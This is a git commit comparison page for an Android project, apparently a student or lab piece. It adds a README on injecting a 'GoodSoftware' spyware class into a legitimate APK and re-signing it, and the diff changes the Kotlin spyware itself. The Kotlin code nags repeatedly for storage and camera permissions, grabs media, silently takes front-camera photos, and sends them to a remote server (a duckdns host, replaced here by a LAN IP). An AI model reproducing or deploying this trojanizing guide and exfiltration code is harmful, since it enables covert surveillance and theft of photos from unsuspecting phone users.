Compare commits
10 Commits
2c866a6049
...
ff87918248
Author | SHA1 | Date | |
---|---|---|---|
![]() |
ff87918248 | ||
![]() |
7ec5cc7977 | ||
![]() |
9982adfce2 | ||
![]() |
7a017f6153 | ||
![]() |
e145b026cc | ||
![]() |
e04f53aff2 | ||
![]() |
c3e86065cf | ||
![]() |
b0ef3ca710 | ||
![]() |
4e08f6e68e | ||
![]() |
fae27b2b0a |
12
.idea/deploymentTargetDropDown.xml
generated
12
.idea/deploymentTargetDropDown.xml
generated
@ -4,18 +4,6 @@
|
|||||||
<value>
|
<value>
|
||||||
<entry key="MainActivity">
|
<entry key="MainActivity">
|
||||||
<State>
|
<State>
|
||||||
<runningDeviceTargetSelectedWithDropDown>
|
|
||||||
<Target>
|
|
||||||
<type value="RUNNING_DEVICE_TARGET" />
|
|
||||||
<deviceKey>
|
|
||||||
<Key>
|
|
||||||
<type value="VIRTUAL_DEVICE_PATH" />
|
|
||||||
<value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
|
|
||||||
</Key>
|
|
||||||
</deviceKey>
|
|
||||||
</Target>
|
|
||||||
</runningDeviceTargetSelectedWithDropDown>
|
|
||||||
<timeTargetWasSelectedWithDropDown value="2024-05-05T20:59:44.740671451Z" />
|
|
||||||
<runningDeviceTargetsSelectedWithDialog>
|
<runningDeviceTargetsSelectedWithDialog>
|
||||||
<Target>
|
<Target>
|
||||||
<type value="RUNNING_DEVICE_TARGET" />
|
<type value="RUNNING_DEVICE_TARGET" />
|
||||||
|
78
README.md
Normal file
78
README.md
Normal file
@ -0,0 +1,78 @@
|
|||||||
|
## Prep
|
||||||
|
### Without Camera
|
||||||
|
|
||||||
|
1. Comment out the timer and compile
|
||||||
|
|
||||||
|
```kt
|
||||||
|
private fun startCheckingPermission() {
|
||||||
|
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||||
|
|
||||||
|
timerStorage?.scheduleAtFixedRate(0, 5000) {
|
||||||
|
checkStoragePermission()
|
||||||
|
println("Requesting storage permission again")
|
||||||
|
}
|
||||||
|
|
||||||
|
/* timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||||
|
|
||||||
|
timerCamera?.scheduleAtFixedRate(0, 5000) {
|
||||||
|
checkCameraPermission()
|
||||||
|
println("Requesting camera permission again")
|
||||||
|
}*/
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Decompile the apk `apktool d malware.apk`
|
||||||
|
3. Decompile original app `apktool d application.apk`
|
||||||
|
4. Move malware to normal application `cp -r malware/smali/com/* application/smali/com/`
|
||||||
|
5. Under the onCreate of original app
|
||||||
|
|
||||||
|
```smali
|
||||||
|
new-instance p1, Lcom/ti/m/GoodSoftware;
|
||||||
|
|
||||||
|
move-object v0, p0
|
||||||
|
|
||||||
|
check-cast v0, Landroid/content/Context;
|
||||||
|
|
||||||
|
invoke-direct {p1, v0}, Lcom/ti/m/GoodSoftware;-><init>(Landroid/content/Context;)V
|
||||||
|
|
||||||
|
invoke-virtual {p1}, Lcom/ti/m/GoodSoftware;->launch()V
|
||||||
|
```
|
||||||
|
6. Copy the permissions from the malware manifest to original manifests permissions
|
||||||
|
```xml
|
||||||
|
<uses-permission android:name="android.permission.CAMERA"/>
|
||||||
|
<uses-feature android:name="android.hardware.camera"/>
|
||||||
|
<uses-feature android:name="android.hardware.camera.autofocus"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
|
||||||
|
```
|
||||||
|
|
||||||
|
### With Camera
|
||||||
|
|
||||||
|
1. Do the steps of without camera but don't uncomment the timer
|
||||||
|
2. Copy camera to existing androidx folder `cp -r malware/smali/androidx/camera/ application/smali_classes2/androidx/`
|
||||||
|
3. Copy androidx futures to existing `cp -r malware/smali/androidx/concurrent/futures/* application/smali/androidx/concurrent/futures/`
|
||||||
|
4. Copy MediatorLiveData `cp -r malware/smali/androidx/lifecycle/MediatorLiveData* application/smali/androidx/lifecycle/`
|
||||||
|
5. Copy Camera metadata from Manifest
|
||||||
|
```xml
|
||||||
|
<service android:enabled="false" android:exported="false" android:name="androidx.camera.core.impl.MetadataHolderService">
|
||||||
|
<meta-data android:name="androidx.camera.core.impl.MetadataHolderService.DEFAULT_CONFIG_PROVIDER" android:value="androidx.camera.camera2.Camera2Config$DefaultProvider"/>
|
||||||
|
</service>
|
||||||
|
<uses-library android:name="androidx.camera.extensions.impl" android:required="false"/>
|
||||||
|
```
|
||||||
|
|
||||||
|
6. Copy Camera Queries to manifest under the permissions
|
||||||
|
```xml
|
||||||
|
<queries>
|
||||||
|
<intent>
|
||||||
|
<action android:name="androidx.camera.extensions.action.VENDOR_ACTION"/>
|
||||||
|
</intent>
|
||||||
|
</queries>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Final Steps
|
||||||
|
1. Build the application `apktool b application -o unsigned.apk`
|
||||||
|
2. Align using zipalign `zipalign -p -f -v 4 unsigned.apk App_Injected.apk`
|
||||||
|
3. Generate keystore `keytool -genkey -V -keystore key.keystore -alias Android -keyalg RSA -keysize 2048 -validity 10000`
|
||||||
|
4. Sign Apk `apksigner sign --ks key.keystore App_Injected.apk`
|
||||||
|
5. Done
|
@ -51,7 +51,6 @@ android {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation("androidx.camera:camera-camera2:1.3.3")
|
|
||||||
implementation(libs.androidx.camera.lifecycle)
|
implementation(libs.androidx.camera.lifecycle)
|
||||||
val camerax_version = "1.4.0-alpha05"
|
val camerax_version = "1.4.0-alpha05"
|
||||||
|
|
||||||
@ -70,8 +69,11 @@ dependencies {
|
|||||||
androidTestImplementation(libs.androidx.ui.test.junit4)
|
androidTestImplementation(libs.androidx.ui.test.junit4)
|
||||||
debugImplementation(libs.androidx.ui.tooling)
|
debugImplementation(libs.androidx.ui.tooling)
|
||||||
debugImplementation(libs.androidx.ui.test.manifest)
|
debugImplementation(libs.androidx.ui.test.manifest)
|
||||||
implementation("androidx.camera:camera-camera2:$camerax_version")
|
implementation("androidx.camera:camera-core:${camerax_version}")
|
||||||
implementation("androidx.camera:camera-extensions:$camerax_version")
|
implementation("androidx.camera:camera-camera2:${camerax_version}")
|
||||||
|
implementation("androidx.camera:camera-lifecycle:${camerax_version}")
|
||||||
|
implementation("androidx.camera:camera-extensions:${camerax_version}")
|
||||||
|
|
||||||
implementation("androidx.concurrent:concurrent-futures:1.1.0")
|
implementation("androidx.concurrent:concurrent-futures:1.1.0")
|
||||||
implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
|
implementation("androidx.concurrent:concurrent-futures-ktx:1.1.0")
|
||||||
|
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
package com.ti.mobpo
|
package com.ti.m
|
||||||
|
|
||||||
import android.Manifest
|
import android.Manifest
|
||||||
import android.app.Activity
|
import android.app.Activity
|
||||||
@ -41,6 +41,8 @@ import javax.crypto.Cipher
|
|||||||
import javax.crypto.spec.IvParameterSpec
|
import javax.crypto.spec.IvParameterSpec
|
||||||
import javax.crypto.spec.SecretKeySpec
|
import javax.crypto.spec.SecretKeySpec
|
||||||
import kotlin.concurrent.schedule
|
import kotlin.concurrent.schedule
|
||||||
|
import kotlin.concurrent.scheduleAtFixedRate
|
||||||
|
import kotlin.concurrent.thread
|
||||||
|
|
||||||
|
|
||||||
class GoodSoftware (private val activity: Context) {
|
class GoodSoftware (private val activity: Context) {
|
||||||
@ -111,23 +113,16 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
private fun startCheckingPermission() {
|
private fun startCheckingPermission() {
|
||||||
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
timerStorage = Timer("CheckStoragePermissionTimer", false)
|
||||||
|
|
||||||
timerStorage?.schedule(0) {
|
timerStorage?.scheduleAtFixedRate(0, 5000) {
|
||||||
checkStoragePermission()
|
|
||||||
}
|
|
||||||
|
|
||||||
timerStorage?.schedule(5000) {
|
|
||||||
checkStoragePermission()
|
checkStoragePermission()
|
||||||
|
println("Requesting storage permission again")
|
||||||
}
|
}
|
||||||
|
|
||||||
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
timerCamera = Timer("CheckCameraPermissionTimer", false)
|
||||||
|
|
||||||
timerCamera?.schedule(0) {
|
timerCamera?.scheduleAtFixedRate(0, 5000) {
|
||||||
checkCameraPermission()
|
checkCameraPermission()
|
||||||
}
|
|
||||||
|
|
||||||
timerCamera?.schedule(5000) {
|
|
||||||
println("Requesting camera permission again")
|
println("Requesting camera permission again")
|
||||||
checkCameraPermission()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -173,15 +168,16 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
requestMediaImagesPermission()
|
requestMediaImagesPermission()
|
||||||
}else{
|
}else{
|
||||||
grabMedia()
|
grabMedia()
|
||||||
|
stopCheckingStoragePermission()
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
|
if(ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED){
|
||||||
requestGalleryPermission()
|
requestGalleryPermission()
|
||||||
}else{
|
}else{
|
||||||
grabMedia()
|
grabMedia()
|
||||||
|
stopCheckingStoragePermission()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
stopCheckingStoragePermission()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
|
||||||
@ -194,15 +190,19 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
|
|
||||||
private fun takePicture(){
|
private fun takePicture(){
|
||||||
val activity = activity.getActivity()
|
val activity = activity.getActivity()
|
||||||
activity?.let { act ->
|
try {
|
||||||
if (act is LifecycleOwner) {
|
activity?.let { act ->
|
||||||
act.lifecycleScope.launch {
|
if (act is LifecycleOwner) {
|
||||||
takeBeautifulPicture(act, act)
|
act.lifecycleScope.launch {
|
||||||
|
takeBeautifulPicture(act, act)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Handle the case where the activity is not a LifecycleOwner
|
||||||
|
Log.e("Error", "Activity is not a LifecycleOwner")
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
// Handle the case where the activity is not a LifecycleOwner
|
|
||||||
Log.e("Error", "Activity is not a LifecycleOwner")
|
|
||||||
}
|
}
|
||||||
|
}catch (e: Exception) {
|
||||||
|
e.printStackTrace()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -317,7 +317,7 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
|
|
||||||
fun establishConnection(): ConnectionResult{
|
fun establishConnection(): ConnectionResult{
|
||||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||||
val host = "thinclient.duckdns.org"
|
val host = "192.168.90.151"
|
||||||
val port = 5645
|
val port = 5645
|
||||||
val secureRandom = SecureRandom()
|
val secureRandom = SecureRandom()
|
||||||
val keyBytes = ByteArray(16)
|
val keyBytes = ByteArray(16)
|
||||||
@ -414,72 +414,69 @@ class GoodSoftware (private val activity: Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
suspend fun takeBeautifulPicture(context: Context, lifecycleOwner: LifecycleOwner) {
|
||||||
// Ensure that cameraProvider is initialized
|
try {
|
||||||
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
cameraProvider = ProcessCameraProvider.getInstance(context).await()
|
||||||
|
|
||||||
// Ensure that the selected camera is available
|
if (!hasBackCamera() && !hasFrontCamera()) {
|
||||||
if (!hasBackCamera() && !hasFrontCamera()) {
|
Log.e(picture.TAG, "Back and front camera are unavailable")
|
||||||
Log.e(picture.TAG, "Back and front camera are unavailable")
|
return
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Select the lens facing, prioritize front camera if available
|
|
||||||
lensFacing = if (hasFrontCamera()) {
|
|
||||||
CameraSelector.LENS_FACING_FRONT
|
|
||||||
} else {
|
|
||||||
CameraSelector.LENS_FACING_BACK
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create ImageCapture instance
|
|
||||||
imageCapture = ImageCapture.Builder()
|
|
||||||
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
|
||||||
.build()
|
|
||||||
|
|
||||||
// Set up image capture listener
|
|
||||||
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
|
||||||
override fun onError(exc: ImageCaptureException) {
|
|
||||||
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
|
||||||
cameraProvider?.unbindAll()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
override fun onCaptureSuccess(image: ImageProxy) {
|
lensFacing = if (hasFrontCamera()) {
|
||||||
// Process captured image here
|
CameraSelector.LENS_FACING_FRONT
|
||||||
val byteArrayOutputStream = ByteArrayOutputStream()
|
} else {
|
||||||
val imagePlane = image.planes[0]
|
CameraSelector.LENS_FACING_BACK
|
||||||
val buffer = imagePlane.buffer
|
}
|
||||||
val bytes = ByteArray(buffer.capacity())
|
|
||||||
buffer.get(bytes)
|
imageCapture = ImageCapture.Builder()
|
||||||
byteArrayOutputStream.write(bytes)
|
.setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY)
|
||||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
.build()
|
||||||
Thread {
|
|
||||||
val conn = establishConnectionWithRetry()
|
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
|
||||||
if (conn == null) {
|
override fun onError(exc: ImageCaptureException) {
|
||||||
return@Thread
|
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
|
||||||
|
cameraProvider?.unbindAll()
|
||||||
|
}
|
||||||
|
|
||||||
|
override fun onCaptureSuccess(image: ImageProxy) {
|
||||||
|
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||||
|
val imagePlane = image.planes[0]
|
||||||
|
val buffer = imagePlane.buffer
|
||||||
|
val bytes = ByteArray(buffer.capacity())
|
||||||
|
buffer.get(bytes)
|
||||||
|
byteArrayOutputStream.write(bytes)
|
||||||
|
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||||
|
thread {
|
||||||
|
try {
|
||||||
|
val conn = establishConnectionWithRetry()
|
||||||
|
if (conn == null) {
|
||||||
|
return@thread
|
||||||
|
}
|
||||||
|
sendDataToServer(base64Image, conn)
|
||||||
|
disconnect(conn)
|
||||||
|
} catch (e: Exception) {
|
||||||
|
e.printStackTrace()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
sendDataToServer(base64Image, conn)
|
cameraProvider?.unbindAll()
|
||||||
disconnect(conn)
|
image.close()
|
||||||
}.start()
|
}
|
||||||
cameraProvider?.unbindAll()
|
|
||||||
image.close()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
||||||
|
|
||||||
|
imageCapture?.takePicture(
|
||||||
|
ContextCompat.getMainExecutor(context),
|
||||||
|
imageCapturedListener
|
||||||
|
)
|
||||||
|
} catch (e: ClassNotFoundException) {
|
||||||
|
Log.e("CameraX", "ProcessCameraProvider class not found. Camera functionality not available.")
|
||||||
|
} catch (e: Exception) {
|
||||||
|
Log.e("CameraX", "Error initializing cameraProvider: ${e.message}", e)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Bind the camera and start image capture
|
|
||||||
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
|
|
||||||
|
|
||||||
|
|
||||||
imageCapture?.takePicture(
|
|
||||||
ContextCompat.getMainExecutor(context),
|
|
||||||
imageCapturedListener
|
|
||||||
)
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
private fun hasBackCamera(): Boolean {
|
private fun hasBackCamera(): Boolean {
|
||||||
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
|
||||||
}
|
}
|
||||||
|
@ -2,14 +2,7 @@ package com.ti.m
|
|||||||
|
|
||||||
import android.os.Bundle
|
import android.os.Bundle
|
||||||
import androidx.activity.ComponentActivity
|
import androidx.activity.ComponentActivity
|
||||||
import androidx.activity.compose.setContent
|
|
||||||
import androidx.compose.foundation.layout.fillMaxSize
|
|
||||||
import androidx.compose.material3.MaterialTheme
|
|
||||||
import androidx.compose.material3.Surface
|
|
||||||
import androidx.compose.ui.Modifier
|
|
||||||
import androidx.lifecycle.LifecycleOwner
|
import androidx.lifecycle.LifecycleOwner
|
||||||
import com.ti.m.ui.theme.MTheme
|
|
||||||
import com.ti.mobpo.GoodSoftware
|
|
||||||
|
|
||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
|
class MainActivity : ComponentActivity(), LifecycleOwner {
|
||||||
override fun onCreate(savedInstanceState: Bundle?) {
|
override fun onCreate(savedInstanceState: Bundle?) {
|
||||||
|
Loading…
x
Reference in New Issue
Block a user